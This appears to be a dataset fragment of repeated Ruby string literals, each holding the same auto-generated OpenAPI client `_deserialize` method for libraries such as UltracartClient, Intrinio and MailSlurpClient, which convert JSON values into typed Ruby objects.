"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n DearInventoryRuby.const_get(type).build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Mooncard.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Aimastering.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Harbor1Client.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = CrelateClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = CrelateClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = CrelateClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = CrelateClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = CrelateClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = WellsFargoAchClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ArtikCloud.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Dkron.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n MailSlurpClient.const_get(type).build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n MailSlurpClient.const_get(type).build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Esi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
